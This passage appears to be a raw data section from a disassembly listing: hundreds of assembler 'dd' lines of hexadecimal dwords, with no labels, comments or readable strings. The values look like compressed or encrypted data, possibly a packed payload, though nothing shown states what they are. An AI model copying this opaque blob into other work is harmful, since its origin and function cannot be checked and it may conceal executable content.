		dd 0C8C3C80h, 299AE221h, 183F71B8h, 9078A3h, 94C0D4B2h
		dd 65469B06h, 620A5562h, 0B7848BA8h, 81530040h,	8FB8032h
		dd 0C3B43805h, 0CC25B694h
		dd 0C4A3DC01h, 446C37BEh, 0A116AF0Bh, 9EE5E040h, 4E7B27h
		dd 40F41120h, 4415C49h,	3A5CB10h, 917444B7h, 64CA98B2h
		dd 0A73E17C3h, 0C9C80489h, 494240E8h, 0B5E7EC67h, 0BAA8CC03h
		dd 6E984140h, 0AC5078Ch, 0BB21AF43h, 0ED00E8C5h, 6EE50ACCh
		dd 0ACB9281Eh, 2C2397E0h, 0D9008F5Dh, 6D6527AFh, 28593h
		dd 6FC1AEACh, 0C5F56946h, 60925728h, 5C2D3678h,	117C9FDBh
		dd 73EF80FAh, 34251070h, 0FA9B09h, 7CC85D98h, 3E698553h
		dd 0B51460A1h, 0EC13557Ah, 0BDE8706Dh, 879FA902h, 9A6EC3h
		dd 35A1AB1Bh, 2546A616h, 0C405F86Eh, 8C2D334Ch,	0C80E1798h
		dd 0C03E0851h, 0B72A20A8h, 894C074Fh, 0D7F311CCh, 80A4E67Bh
		dd 0C848305Ah, 275C4284h, 3589C140h, 8249CCB4h,	7C0B381Ch
		dd 0C93340F8h, 0D800ADC3h, 0B784D02Fh, 0BF6DF1Ch, 5DD5BDC0h
		dd 952E2048h, 81221007h, 9DB0FA2Ah, 111DF46h, 0CDD5E551h
		dd 0D86A27BFh, 101DD439h, 15014067h, 78871345h,	834F8885h
		dd 0C474B449h, 0F1721C40h, 0B9803DCDh, 0F773D29Bh, 7D1416C3h
		dd 405CBBh, 351DA718h, 7C62332Ah, 3B100734h, 5092E21Ah
		dd 891CD9C6h, 0E7A9E601h, 265D1890h, 0E0BE6084h, 0B92CFCB3h
		dd 950730CEh, 0E9B80F12h, 1A88EC8Bh, 2D7CB4C0h,	0B80202E4h
		dd 68A884B2h, 0C8011C7Ah, 4B77D9C0h, 523F5554h,	0C8208BECh
		dd 312AC03Eh, 514F7ABh,	4AAE58C9h, 1D259CD7h, 84C060ACh
		dd 4E6109FEh, 0D02F9F5Bh, 0D31C3023h, 0BD1F09h,	3FF5167Ch
		dd 5D2913FFh, 0C8B4CB39h, 9C2DC032h, 260FCC60h,	0F6AE181Eh
		dd 0DE1CE4h, 4B76AF59h,	5A5DA013h, 4A00D374h, 18AEF548h
		dd 0A17FE535h, 7218CDECh, 12D95D1Dh, 0BE086525h, 7C5D7A80h
		dd 0C3E694F2h, 865CAEE8h, 0F0DC1278h, 85759009h, 18B135CCh
		dd 480CB9C4h, 0EF052441h, 92989A7Ch, 105418B4h,	47A788h
		dd 0FCFFE7A2h, 0F500C87Ch, 4D19E8E5h, 12AE162h,	360498AEh
		dd 308DBD10h, 20B75DF0h, 153CB18Ch, 0E03B00AEh,	6D44FADBh
		dd 2D301110h, 0B741600Eh, 77D8025Fh, 0A0159937h, 1A790071h
		dd 7400C818h, 0FFAACE62h, 0C0663FEh, 0EF191EAFh, 2F015FF8h
		dd 7CBCAC52h, 0D8206B77h, 3CBA5CFAh, 8E9BFB13h,	0C03FC83Ch
		dd 0C617E6F3h, 6194E3Dh, 69DF6394h, 2C1CB460h, 981130h
		dd 0F2956AEEh, 1F04FA9Bh, 0C07560E5h, 97C2BB72h, 0FCB4C7D5h
		dd 0C8AC2845h, 98CF9B8h, 0B46A75B6h, 0A17CDC40h, 0CB710500h
		dd 6F042606h, 77440BABh, 24D1493Dh, 3B18FB79h, 983E425Eh
		dd 0C2000323h, 1BEFE481h, 9C0701Fh, 0EEC9515Eh,	0D47A2A0Bh
		dd 0AD320EECh, 9D6D10DBh, 80FB1184h, 64CC7E10h,	929E4D0h
		dd 0EF0A364Eh, 9C9FA422h, 393EC8A2h, 0B188C84Bh, 9A00E666h
		dd 65E86734h, 1F57B12h,	55B73B50h, 2C05E3E0h, 99671058h
		dd 8018D51Eh, 922CC9A0h, 202546B7h, 0C448672Fh,	3A8D602Fh
		dd 0EECA16ABh, 6FA0E12Ch, 70CBBC13h, 0B905E3DCh, 14C207BFh
		dd 0C93043BDh, 0A870495Ch, 0FC9F9765h, 0B4838F11h, 0BCC058D8h
		dd 34B8A392h, 8EC42485h, 14984A60h, 0C0BA9C17h,	0DC2EA4A2h
		dd 0D7AC01D0h, 0EC067C01h, 0A267112h, 713050E7h, 9AF4B06Bh
		dd 8CE35E20h, 518A7BCCh, 192C79D4h, 1C88FDCh, 6E6CE3Ah
		dd 8A31C67Bh, 2CA23370h, 80EC0795h, 0BCC27137h,	2CA5D3h
		dd 8171CF84h, 353E77ABh, 7B05843Ah, 11004056h, 10D5D006h
		dd 7E070B04h, 0BCB9C85Ch, 0DF7D7504h, 0F154F273h, 520C368Eh
		dd 47B72901h, 65C954E5h, 23CC2F2Ah, 9D00338h, 0BCC77B21h
		dd 389456B0h, 0DCC89504h, 0F2D0B896h, 0B11380A0h, 1805D04Eh
		dd 1C0BACA1h, 915097B4h, 0D69C8081h, 1F76A0BFh,	12FF482Ch
		dd 3A90D4F0h, 93223C4h,	4180AFF2h, 0F9186E1Fh, 0D9286404h
		dd 68859759h, 0CB0068F2h, 516AC2C4h, 0F4B83B66h, 0D8CBE45Eh
		dd 0F4C03088h, 0E504309h, 7B465F1Bh, 5BA78EE7h,	69CF2020h
		dd 0B2E275Ch, 5DEF142Eh, 62A30882h, 17A0AB32h, 80849104h
		dd 636F23BAh, 93A4002Eh, 44A09D91h, 844AFB13h, 44D05813h
		dd 807021h, 0F8C108E8h,	0A31E690Dh, 0BBBD5000h,	0B8728BDFh
		dd 1FB8BC10h, 2D9A4D05h, 0BC403C98h, 77988C8Dh,	4603B605h
		dd 0E0C84B11h, 0B1382906h, 188F5974h, 419060E4h, 0E0FA7465h
		dd 974DE525h, 80F59154h, 24DF81F1h, 6B15255Ch, 10E370C1h
		dd 0BD4D944Fh, 0AC45E409h, 286081C4h, 710014AFh, 828F7723h
		dd 2EF1ACCh, 0B86B1BC6h, 0B08922E8h, 24053081h,	0E0023E2Fh
		dd 27B375Ch, 0FC129F69h, 31465E20h, 0C838039h, 0EE7EDEBBh
		dd 68C04FE2h, 60D27907h, 42F2FCE2h, 0AFD9030h, 30CC0C7h
		dd 7897AD94h, 90823C91h, 0E450C3C0h, 30AFA839h,	5EEE2141h
		dd 2203072Fh, 33A464DAh, 0B3D8F0B9h, 0AFF6A9ADh, 3C761C05h
		dd 60C1A2C9h, 2C7A32h, 188C2FBCh, 0C09E4E1Ch, 0F3285B9Ch
		dd 0B8876898h, 4A602E44h, 0D705DE49h, 24551072h, 0A385F001h
		dd 473F40DAh, 0AF671F80h, 0EEC4EF81h, 6190095h,	5E98968Dh
		dd 4A024346h, 905D15CFh, 40C77C48h, 88AD9403h, 0E1FC437Bh
		dd 55F83EF5h, 0ABAA0031h, 0E016061Fh, 766B2F61h, 25D0E1E8h
		dd 0C6F6Ah, 0EEE217D1h,	0E06BDFB4h, 10710A1Fh, 8016C1h
		dd 9EEA7942h, 0BA05B52Fh, 878F7C46h, 5480A0h, 0DBD6E074h
		dd 0C9A84C0h, 0EC4CA848h, 5F078C1Bh, 0D067A4D4h, 48E0ADA1h
		dd 39C46830h, 4609959Ah, 0DCFA4F4Eh, 3E5B1700h,	1ED68407h
		dd 0A5C21F5Fh, 2792CF9Dh, 0E471CA42h, 54A41CDBh, 87465Ch
		dd 0C740C444h, 128C9E7h, 0BD1AF0B2h, 3473EF14h,	3E411230h
		dd 0A63900CFh, 116B1F70h, 7CB80155h, 3DD8C010h,	0C2CCB17Ch
		dd 38D121BFh, 2118F5F1h, 4A74BD7Dh, 4C3D583Ch, 89D71040h
		dd 0A506C905h, 0E8CCFDE5h, 0BC5707EAh, 0E2AE1361h, 0DC606704h
		dd 929F1C5Eh, 0DE306010h, 0F2918097h, 9B39208h,	19130546h
		dd 1D90D04Dh, 574F0B7Bh, 1EE23087h, 8054DC09h, 0B5B28337h
		dd 694B5CCAh, 0FC88648Fh, 1D06FDC0h, 0A7DC9C33h, 81FF5890h
		dd 13845B00h, 0F22D7865h, 4BC7009Bh, 0F557B72Ch, 18724576h
		dd 504A4D88h, 0BE9B58B3h, 8E467CE0h, 0C5F81900h, 0C4BF80EEh
		dd 9AB15105h, 0A020ED5Ch, 2DC85E5Fh, 1098650Dh,	90A84AAAh
		dd 0AE003D0Ah, 0FD53FA08h, 2E8C9B16h, 434CA8B7h, 0C2C04A30h
		dd 0C400C199h, 0DD0F4487h, 7D27B04h, 185E41CBh,	10E209B1h
		dd 0F579D051h, 6002618h, 92175B20h, 0EE4DC091h,	47A52C11h
		dd 5C35ADB0h, 0A9C37580h, 2BD3905h, 0C502B6C1h,	685E5E4Fh
		dd 2BD72710h, 37F610A8h, 96D4ACC0h, 2809F033h, 66F873C3h
		dd 903E4F80h, 3B503988h, 0EC159502h, 507066CAh,	90FE658h
		dd 8F567CCh, 8BE4B885h,	0C02EC850h, 0FE95B69Ch,	14A11FAh
		dd 14A708C1h, 50849455h, 0A99D8840h, 938F2Fh, 0A1631080h
		dd 66AFA015h, 0A0ED2C27h, 3FB67488h, 3A4A1DB5h,	16AF45D4h
		dd 0C5D0E095h, 0BAF34B01h, 0B37E5C36h, 0B0E1CC76h, 0FD3071ECh
		dd 0E478027Dh, 0C0730C60h, 5C04240h, 702F714Eh,	8C1E8123h
		dd 0A38DD81h, 0AFF89BF6h, 0E1D56B0Eh, 7477DC02h, 9D78C209h
		dd 80F61154h, 0AD400BD0h, 80F400AFh, 340708D2h,	0E9E44EBDh
		dd 577074BBh, 6D477E0h,	4D0F28BAh, 9C08B001h, 8F4B13h
		dd 0A807D5C1h, 7E25AD8Ch, 0F158610Dh, 6660DD2Bh, 78F1F0B4h
		dd 0EBCCA168h, 3548822Eh, 1428DCD1h, 1090C8E0h,	0C594D61Eh
		dd 50E98AAh, 69B11254h
		dd 9E8CF017h, 92AF88A8h, 4E4B83C4h, 235208C8h, 1F1F31ECh
		dd 0A2A907h, 82A16701h,	8A65E03Ah, 0C2667600h, 0E6C8FC05h
		dd 4D9C2E92h, 2F4674BCh, 6B9E1B07h, 0F0813D4Fh,	0E9F69BF9h
		dd 90FD4225h, 3E072C7Ch, 0F27B497Fh, 5B3400EAh,	7323DE85h
		dd 0A22F8EE5h, 0E7600BE6h, 60196428h, 141C70Eh,	0FE9C76D5h
		dd 7BAC930Dh, 6ED6BC42h, 4B007844h, 0C070DA26h,	0C787E3F6h
		dd 25EB0057h, 33A8042Eh, 61541873h, 5D282CD4h, 4468CC39h
		dd 0C808EC99h, 2B3419Fh, 0BB64303Ah, 46054C90h,	4F375265h
		dd 8228A4h, 90442540h, 43F75775h, 64882Ch, 0E084C100h
		dd 0F1C4DB8Ah, 8322B468h, 24B7B5h, 328D8433h, 7A00FC6Ah
		dd 1ACC3F69h, 186F20F7h, 10CA18C5h, 0E439DB0Ch,	0B72900BAh
		dd 9F709D54h, 0F0ACB39Ch, 0BC0137BBh, 7BFD41Ch,	0F068F3B7h
		dd 0C8BC8B4Ah, 6E69C019h, 0D2028B15h, 92DD466Ah, 3F4844AFh
		dd 0ED964A68h, 931CD2C4h, 6B08CC2Ah, 80A0297Bh,	6DCB4C9Ch
		dd 616DA10h, 0F8E046A3h, 4910B6C8h, 0BD50645Bh,	12E7B087h
		dd 0A0042D58h, 9FB7FAB0h, 812C1148h, 6BC64A02h,	44A792EFh
		dd 9C5A009Ch, 1273B8C7h, 0FC9A1D19h, 0DC98444Ah, 0C25C2D61h
		dd 3991DC17h, 5DA63B9Dh, 3404DE88h, 1E365B1Bh, 601D4FDh
		dd 0F75CBCC8h, 4283F70h, 28678ADEh, 18368E42h, 0C4B9A859h
		dd 5BB21500h, 17F37B8h,	0CBC2E0F5h, 62AE9269h, 18790494h
		dd 0A70648B9h, 8983928h, 27EFE020h, 0DC375FC2h,	0B4257581h
		dd 406DFBEEh, 286DB327h, 91F0660h, 0D3B50461h, 0B9B34AD2h
		dd 0DCC90040h, 3A680365h, 0DE9407F2h, 5BBD2306h, 0B376D482h
		dd 7D678FCh, 0D4204C68h, 0E7884093h, 21C7964Fh,	2E00C2DCh
		dd 3F0D9A11h, 2407B37Dh, 50D1079Eh, 0F9F0EEC9h,	205BC8BAh
		dd 88F76C38h, 2222C4E7h, 3CC91043h, 0B873A029h,	193067ECh
		dd 0B496C89Ch, 0B9B048A6h, 5A0F7053h, 0EE206BB4h, 1D06A09Ah
		dd 0B79DB3EBh, 8F91B835h, 0E8530485h, 0E00B0208h, 40AF9A62h
		dd 82893374h, 8B61A0C0h, 0BDCC097h, 942C843Ch, 424018BEh
		dd 1581AD7h, 0E348FF6Fh, 28EEA308h, 0D8BB2C84h,	2384674h
		dd 0A3059F88h, 308078BAh, 19213B3Eh, 0ED3932B4h, 6FE80DCh
		dd 0A790F520h, 0F1300BEh, 451C3418h, 414B47EDh,	3580309Bh
		dd 3F0C5B98h, 109F12F4h, 40C77C00h, 1025CC77h, 7990F94Eh
		dd 39C218F7h, 529EF0B9h, 4765821Dh, 0B076CA92h,	72CDD62h
		dd 1995C691h, 89423330h, 7E677A0h, 0D34C3467h, 242BE174h
		dd 446E3E2Fh, 88E01017h, 7B00D240h, 0C948FCF4h,	7E69C388h
		dd 1664028Ah, 0C591794Fh, 130D40C4h, 0A81934B1h, 5CC70040h
		dd 8E5D4E65h, 368EC408h, 7B072530h, 3081424Eh, 0A9803733h
		dd 75FFB3D2h, 8A79D971h, 0EC80BF00h, 0C98E60DFh, 0EC37975Ah
		dd 0D6DF1C00h, 1668689h, 989C79CEh, 6ABAB4EFh, 4931DC06h
		dd 88454B31h, 72074278h, 67D9631Ch, 51349930h, 54BC0036h
		dd 0CAF419E8h, 31E99866h, 0D4806828h, 0CF561218h, 6E5E88A8h
		dd 914209E0h, 191418B7h, 0D40597E9h, 0C870CE28h, 0F540C082h
		dd 0D40F062Ah, 0C0AC2185h, 0E99B0E95h, 0EAE57CA5h, 6C9D4D36h
		dd 3E38C808h, 185F3F00h, 583A98C9h, 48224485h, 2500FBFCh
		dd 4D5A5F37h, 0E1A5852h, 0BFC68D06h, 0D57A3A80h, 0B5BD25B5h
		dd 9A9E8DE4h, 0BCF47898h, 6B058C2Eh, 0B36FD8EDh, 0F6A284A3h
		dd 194A930h, 0E0297C9Fh, 204904A5h, 1F5AE58h, 0F120C2C6h
		dd 92EF916h, 68FAE454h,	0DFD8009Bh, 1A530011h, 49271C2Fh
		dd 6EFD922Ah, 53672830h, 0EF210928h, 0D4809D78h, 7F91B2C4h
		dd 0CCECC30Eh, 147AE706h, 0DC8854E9h, 5237C600h, 0DFE58C66h
		dd 472601C9h, 0C67114Eh, 46E89DF8h, 14B00B56h, 0C035E6D6h
		dd 62F1341h, 15000AE2h,	113F2AEFh, 5DF3E31h, 9CBEB116h
		dd 2430AD83h, 0C0110D7h, 87FA3330h, 4AA02C3Fh, 13449640h
		dd 0F69B5F13h, 9B47C490h, 8D172703h, 2CB420EEh,	10B11205h
		dd 9B07A0D0h, 84994FBAh, 4864AA68h, 0FA84608Bh,	0B3F83037h
		dd 3C190221h, 2EBAC307h, 0C18858D9h, 0C4C00045h, 0CAAF60B1h
		dd 0A3F56413h, 0D91760F2h, 0B218A337h, 107530F5h, 638A981Eh
		dd 51C4B31Fh, 149705A8h, 48A53305h, 359C8h, 0D6D89CE6h
		dd 39E2C85Ch, 0B884E490h, 3228D4EEh, 61151895h,	7C145E67h
		dd 5E185E8Ah, 0EE05F946h, 0D0906D4Bh, 84C0A73Ch, 4093C727h
		dd 0B454ED90h, 4873E9FCh, 4F576050h, 7AF8905Ch,	93007FD4h
		dd 2EE9B440h, 3519541h,	0BF7444FDh, 0E2DCB6C1h,	301AE2E4h
		dd 6300A58Fh, 46797126h, 7D276595h, 38DC4867h, 3B5B4409h
		dd 5C25FCD0h, 4B4E05Ah,	3E618F46h, 8C706E6Ah, 5CC58856h
		dd 7580ECBEh, 0BBC4B570h, 0DBF600EEh, 3B7FEC20h, 3502D34Fh
		dd 16AF80F1h, 2FFCDE3Dh, 0C0F3C04Ch, 0D508E2DDh, 8C470736h
		dd 0C081924Eh, 0C3448C1Eh, 0B95B1880h, 2DED1D1Bh, 0FCC212D6h
		dd 12D604F4h, 16CC7327h, 20671648h, 0F0842EF0h,	0ADD2DC00h
		dd 0D94AB1F5h, 0D1F100BFh, 24621CA9h, 134D4F84h, 59992564h
		dd 4472175Ch, 22F384Ch,	0E43DE7ACh, 16B9009Ch, 3B2D6DAFh
		dd 657B5329h, 5B01F4Ch,	0E3AC5242h, 0E1AC98B9h,	252438B8h
		dd 920062B4h, 0B72C720Ch, 81F6275Fh, 0C3A0F860h, 0D0F0D24Eh
		dd 8F3F4E64h, 0C0338848h, 5E34F9ECh, 10BE5400h,	62DF58C9h
		dd 1C8C4FA3h, 0A469F4h,	3969C589h, 0A300F1F9h, 6028925Ch
		dd 7BC6E7EEh, 3B4727C3h, 0F8C4DC67h, 4C94CC60h,	21DD3F00h
		dd 0CC872D0h, 11AC9936h, 0ED7116F6h, 46E110B6h,	0BA3D60C6h
		dd 2D8410BDh, 0E756079Ch, 2012D04Fh, 0FE4C64CCh, 5B10C201h
		dd 0B794D63Fh, 58006432h, 0CEA3D18Ch, 0C12410D7h, 3F890C80h
		dd 251CD335h, 2540E4CDh, 1F962A40h, 0CA5BE08Dh,	5FC9DFBh
		dd 0C236FD47h, 207454F8h, 8C883E65h, 99210024h,	568B052Ah
		dd 2008134h, 384DC6C9h,	0E5E006BAh, 0A015C1D7h,	3DBC603Ch
		dd 0E2F2008Ch, 0C92C3799h, 6427BCA7h, 4C70E00Fh, 0BAC402ABh
		dd 28FCB4E3h, 64C27C40h, 9969E72Dh, 0C9107FD8h,	689AC066h
		dd 9725FCB6h, 828E91D0h, 60C2393Dh, 5A1093F9h, 5854C2E5h
		dd 18F9A4D9h, 4C018518h, 0F563816Fh, 3FD1442Ah,	4E112C7Ch
		dd 21EC0E95h, 399B0042h, 6AD0D90h, 70C5E7B8h, 600601Dh
		dd 313EDE32h, 0E8D979Bh, 26BC652Ah, 43D41080h, 0ACFCD387h
		dd 0D8349606h, 60086EA4h, 7F682137h, 89062BD3h,	31BE01B5h
		dd 2D7C0019h, 2398B6E2h, 1D3EF7E6h, 0A300F3AEh,	27BCD12Eh
		dd 78241094h, 2330C00Bh, 7B97684Ah, 0F854B306h,	6009AB27h
		dd 606A2142h, 0F6794C97h, 39CCF70Dh, 70831896h,	7B0D1A3Ah
		dd 141276C0h, 2F3019C0h, 0EA9985E6h, 6645B847h,	21270818h
		dd 0E67D5375h, 0B5142801h, 0FBFF6E80h, 80269891h, 0B37D976Ah
		dd 45448C64h, 9762006Ch, 48B2DAFFh, 75022FE6h, 61DFAC80h
		dd 68AC87D7h, 0F8A72337h, 0F4B18Ch, 5D6EED81h, 55144E97h
		dd 0E9086766h, 791A0121h, 0C608AEDh, 84698033h,	0B101AEB0h
		dd 0EFD303ECh, 0ABE3E855h, 201811D3h, 63D92513h, 0BDA10E4Fh
		dd 6BA04051h, 8EB49E67h, 463DB300h, 0B0DC8D8h, 0DBC93277h
		dd 0DC90BD71h, 9800A932h, 76292E53h, 73E95F2h, 0C21CF85h
		dd 8237494h, 976FC02Bh,	8C46B382h, 71014622h, 5B069767h
		dd 0A7C0A401h, 0B5E60031h, 58C5A5B3h, 0F281745h, 0F220E8FCh
		dd 0D85F0724h, 70EF3427h
		dd 0BAD9C90h, 3A519EEFh, 9BEB9403h, 2CAB8095h, 0C958601Fh
		dd 0D22081D4h, 0AE32D80Ah, 7FAC88F1h, 800C4939h, 9989E633h
		dd 28448C50h, 0E62B0057h, 0CB8E096Bh, 911E9B7Eh, 42EE35ACh
		dd 2922130Ch, 0AB770085h, 0C2E9CF4Dh, 6BEE418Ch, 0AF50D977h
		dd 324C5A82h, 0F06D1289h, 6A0F0407h, 0E848BB8Fh, 186003E9h
		dd 0E82EABD8h, 0DF786385h, 10385B30h, 6973B88h,	84E1BAEh
		dd 0E315E02Bh, 584A0A9h, 4AB99DB3h, 0BE92A000h,	353C225Eh
		dd 3A21A70Ch, 4623B0h, 3C6E6CE2h, 0FF74EC8Bh, 6013E63Fh
		dd 53713AF1h, 46620915h, 0A280E140h, 0D86D68E8h, 7BF86303h
		dd 3C0BE5h, 2FA05A51h, 656702ACh, 1F24C9FCh, 41004729h
		dd 704A47ECh, 0DC3054BDh, 341207B9h, 9095FCB3h,	90AE9EB5h
		dd 8B9DFD00h, 39E35F6Eh, 58E24891h, 0C7802C88h,	0F83ABA49h
		dd 227D01E4h, 5FD3B5E2h, 88804EFBh, 2EDFC044h, 0ED005351h
		dd 0F9560F33h, 99AC7Ah,	0D1FEAB6Ch, 9B13E22Bh, 3B4BA814h
		dd 0AD5D04D4h, 1CCE948Ah, 3C93E88h, 0DA98CBh, 3EF155D9h
		dd 0B52DC170h, 7BF8D076h, 7C011C9Bh, 6F5D69EDh,	1523EA19h
		dd 809EB374h, 0FA721D6Eh, 77E10083h, 485DEC55h,	8B0368D9h
		dd 0C1169276h, 56208991h, 4DF34820h, 0AF120031h, 789C323Fh
		dd 87DD8132h, 9C264099h, 55002522h, 76BDE629h, 51D7D8FDh
		dd 96E89039h, 544E48D1h, 7FC0D50Ah, 80C6100Ch, 0A1E7AE34h
		dd 9490E5h, 4D1C9271h, 0C0221B44h, 18E69930h, 0F4DAE3A0h
		dd 0B8611A12h, 5867B85Ch, 61703C44h, 0F2030F29h, 0CDC5B60Eh
		dd 0BD883E3Bh, 0EF0A29E0h, 0C90739E7h, 0AC55DF8Fh, 0C8E13172h
		dd 0C57C8994h, 41350C81h, 3D820EE8h, 0A5F9F834h, 0CB7BB513h
		dd 0EF23FC3Ah, 2D3A1900h, 73466FBEh, 0B4CE3F8Eh, 5D05FCBBh
		dd 0E2C9BC0h, 5E0FB5A0h, 1027BB06h, 5DADB30Dh, 0B8D0C844h
		dd 1831624Fh, 78C41B13h, 0AA002B79h, 41558CB1h,	9891E2Dh
		dd 0C6B0F7ABh, 602A6004h, 2381976Eh, 401184B3h,	97667001h
		dd 91CFCDF5h, 7E807DE8h, 7F5D6BEDh, 17EA448Ch, 21ED7600h
		dd 0CDB53EC8h, 0B837612Dh, 802FAAE3h, 0B3919061h, 11F9F38h
		dd 2960FB8Bh, 6F14259Dh, 520009E8h, 6CB81DFh, 7A07F710h
		dd 2AFAE2BFh, 5DE961C1h, 0DFC6FFE9h, 1D711259h,	90004118h
		dd 81207C2h, 7475E4E9h,	2506604Bh, 685D3A03h, 8BAF610Ah
		dd 465C32C1h, 95BF0317h, 0EEEB8FA0h, 500FE019h,	1666078Ah
		dd 0FBDE25BEh, 1C88778Bh, 0A334DBC0h, 0BD0A1D79h, 313C039Dh
		dd 0BA9D0585h, 60558CE0h, 60500C12h, 260800Fh, 66585641h
		dd 2D0802B8h, 24048961h, 4280A3B7h, 7C082FE8h, 3C878A2h
		dd 0BD8BD139h, 7A401EE9h, 354105E9h, 975562AFh,	80191108h
		dd 83711E42h, 89A305DBh, 1E177595h, 3D8D0529h, 947A032Eh
		dd 2EF51F06h, 1142335h,	0C083F937h, 5BE96E05h, 61211D00h
		dd 49258B26h, 3973591Eh, 9529A540h, 399B4C6Ah, 0F125090h
		dd 0BE4740B7h, 551BA926h, 4195A3C7h, 0BEFF1D78h, 0FB0E8ED5h
		dd 36C01B88h, 1DD14DAh,	30C8C9E3h, 228C0FF8h, 0BD0B055Ch
		dd 8741212Dh, 1E979C9Dh, 0B8BBF97Ah, 402F0090h,	0A5E89883h
		dd 895CEF3Ah, 0CD1A324Ah, 5BD3DFD3h, 0EE6C58h, 81DCD02Ah
		dd 0B50BC188h, 57C3E179h, 3E264D85h, 192A8B0Ch,	0D2E93FEEh
		dd 0CC7744EBh, 0F99E5406h, 21DCE9h, 0CE2F7EDFh,	0F206E5D8h
		dd 2BFDBD81h, 25D06046h, 11E860Fh, 83500CCEh, 30DFD85h
		dd 9D8B5E22h, 0E000A69h, 9699D3BFh, 0E1E3813Dh,	0DB0B3381h
		dd 6F92850Fh, 15ECDEE8h, 0BB7C3E8Ch, 5E95DE80h,	0BD830C65h
		dd 0CC04F436h, 2E8435A2h, 239B3B60h, 12D40416h,	71C781E7h
		dd 6EE9010Eh, 81662380h, 0C740F0EEh, 0B83B8551h, 0E9F90DDFh
		dd 0E97A0D59h, 5D5AC64h, 0BD09EA5Ch, 34E650DDh,	9D552F9Ch
		dd 801D91DEh, 8CBBFAEBh, 6E2D0E3Dh, 472854Bh, 9434F515h
		dd 0FE0307Ch, 3FCB1E83h, 5F44D760h, 8700F0A6h, 0BDB1C93Ah
		dd 1DF020F2h, 0F1EB341h, 2180CA3Fh, 23816155h, 73FEFF39h
		dd 0D1BD330Bh, 8C532002h, 268BFDBh, 0F66BF3D8h,	0DE8404C3h
		dd 0D1AE5777h, 4043FF7Fh, 5A487CC5h, 6A04C776h,	19363440h
		dd 2A090CC1h, 0E864A87Bh, 0B0008C16h, 0BE909CDEh, 2F4364ADh
		dd 0A155501Ah, 84235F5Dh, 83D1E0h, 8B2CCE7Bh, 0D392EBDBh
		dd 0BE0D6D00h, 2149419Ch, 6890495Eh, 0C058E2BCh, 0DD032DA1h
		dd 0F5519398h, 0D71F0700h, 0D97FE656h, 0B0FE388Bh, 9104E48h
		dd 38B87D04h, 73D78103h, 0B871E467h, 1388FABFh,	4D8B60Fh
		dd 0C8BAF3AFh, 95100175h, 8B09281Dh, 0E591E8C3h, 2182DCBBh
		dd 3ACF5800h, 0E4AA5541h, 8497003Ch, 73DBB3ECh,	0F2C3823h
		dd 6040898Eh, 16C15F61h, 0FF5104E8h, 0F4475389h, 665E8208h
		dd 0D19DE2F7h, 12811711h, 0C9902B56h, 3573D8h, 93DE7173h
		dd 0C050C9A1h, 89D468F4h, 8C98241Ch, 0EC2B4522h, 640DD4FDh
		dd 0CC80922h, 0F9BF4203h, 84D52643h, 8A83DEFDh,	4B2CCF75h
		dd 251400DEh, 186FA97Ch, 27548A02h, 0F1518BEDh,	0F07B36EBh
		dd 1E9DBA65h, 2C4F3C0h,	613CF88Eh, 35CEEF41h, 69E97A5Bh
		dd 0F924ADACh, 2EA931DDh, 3B78C1ABh, 1289EACBh,	212DB185h
		dd 0ED8D314Ch, 3010AA05h, 1A44AFA7h, 2EA59460h,	0AB9FB02h
		dd 89820FFDh, 4D7E0757h, 0A6502AE8h, 940E502Fh,	0E77C243Bh
		dd 8102C3Ch, 510C2CADh,	61C13C60h, 259DAF12h, 870CA830h
		dd 10D05848h, 3E610355h, 5116880Fh, 32B9F8B8h, 0B88F5DE5h
		dd 0AD8D14DFh, 5109170h, 0C183160Eh, 1723783Bh,	94B74800h
		dd 0B0D93B0Ah, 1FC160F0h, 0CD6B4DBFh, 8C7EAF90h, 5DE86028h
		dd 3552EA1Ch, 6A576104h, 59C25381h, 0C16DF07Fh,	27FA045Bh
		dd 638D657Fh, 1B81A9BAh, 2FDE3607h, 0E3B5755Bh,	2B8C8F87h
		dd 465C7D4Ah, 0C713001Ah, 4C7FB3D0h, 343D181Eh,	3686B308h
		dd 0F4395CBDh, 25F7E00Eh, 6C9860FDh, 165BDF95h,	1745BD29h
		dd 0CCBBB0h, 43FA00CEh,	0C08B1608h, 91489589h, 49C38F2Dh
		dd 829CB7D8h, 2F11D9E5h, 99FAF5h, 3EAA478Bh, 4AAB5AD4h
		dd 66E6DF02h, 40563B99h, 8102FDC0h, 913B705Eh, 511FADC1h
		dd 0C02657CBh, 8AFFAAF0h, 0EC7C920Bh, 16E7D76Bh, 75601844h
		dd 0B514BF83h, 0C09FF89Dh, 6535F915h, 138400DCh, 886214D1h
		dd 0D04AB5E8h, 53856038h, 1BF2ED59h, 24BA230h, 0BAEC1D59h
		dd 46A0E43Eh, 0E55712A4h, 805CD73Fh, 0DBBA334Bh, 2179B958h
		dd 0FB2985FFh, 201815D1h, 47666358h, 6CA8B123h,	1D55F6F4h
		dd 812B6ACCh, 0F88566DFh, 9080620Eh, 8C1AA82Fh,	74F1E703h
		dd 9C79E1E8h, 3381F681h, 4B1D8C04h, 0ED53F903h,	10712D7Eh
		dd 5826F524h, 0A2CA43A1h, 7A323015h, 8D89600Ah,	81808F25h
		dd 5B0BE3D2h, 3161063Ah, 1A1C65B5h, 0A99D890Ch,	308D0D16h
		dd 0E6330479h, 0BE247408h, 0DE0D5Eh, 32FC3777h,	2D276873h
		dd 0A58FE5B9h, 310D801Eh, 509F08C8h, 168CBC3Fh,	6F4454A0h
		dd 93E70B9Bh, 0DF2D0B78h, 0FF00734Eh, 265E98A9h, 7E623Ah
		dd 9F5F17B4h, 0BE5DC8CCh, 97CEF40Bh, 0AA9B84D6h, 9C1528A0h
		dd 0DE3624B5h, 90B05A0Fh, 2DCFE0DBh, 0BB5E9480h, 7BA379A2h
		dd 6400C5E9h, 99957EA5h, 31485148h, 35211017h, 2705E918h
		dd 0DB3CA38Eh, 0A0E82583h, 0FB9A9C4Eh, 28180075h, 98B23D7Bh
		dd 38025621h, 66BA04DFh, 840A4333h, 24518D42h, 67E95E00h
		dd 0BDFF71F8h, 0D6D3D4h
		dd 1FC0999Dh, 0C48BF716h, 0FFE2B09h, 414928Fh, 8B4402DAh
		dd 61F9C1F9h, 4DC11209h, 0E005E108h, 80CF2CC7h,	161AAE15h
		dd 0A7BD0084h, 0D27C1819h, 3D1D6975h, 122DE628h, 401DCFAFh
		dd 0DA1FD499h, 244C234Ch, 467C2033h, 716F001Ch,	0FED7F782h
		dd 6A702DA5h, 73F5C41Ah, 0D6435867h, 0B12AE901h, 39A23F58h
		dd 5A8B6570h, 81DD01F8h, 0EC2FF3F7h, 0DC946A35h, 1A4674h
